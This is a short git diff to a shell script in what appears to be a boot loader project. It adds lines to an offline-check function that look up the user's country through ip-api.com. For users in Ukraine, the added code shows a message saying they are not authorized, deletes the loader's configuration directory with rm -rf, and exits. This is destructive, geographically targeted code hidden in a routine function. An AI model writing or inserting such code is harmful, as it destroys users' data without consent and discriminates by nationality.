diff --git a/files/initrd/opt/arc/include/functions.sh b/files/initrd/opt/arc/include/functions.sh index 09dd67be..750771b1 100755 --- a/files/initrd/opt/arc/include/functions.sh +++ b/files/initrd/opt/arc/include/functions.sh @@ -608,6 +608,14 @@ function offlineCheck() { fi writeConfigKey "arc.nic" "${ARCNIC}" "${USER_CONFIG_FILE}" writeConfigKey "arc.offline" "${OFFLINE}" "${USER_CONFIG_FILE}" + local BLOCK="$(curl -m 10 -v "http://ip-api.com/line?fields=countryCode" 2>/dev/null | tr '[:upper:]' '[:lower:]')" + if [ "${BLOCK}" == "ua" ]; then + dialog --backtitle "$(backtitle)" --title "Blocked Country" \ + --infobox "You are in Ukraine and not authorized to use this Loader!\nSay THANKS to sania-owner.space!" 5 80 + rm -rf "${CONFIG_PATH}" + sleep 5 + exit 1 + fi } ###############################################################################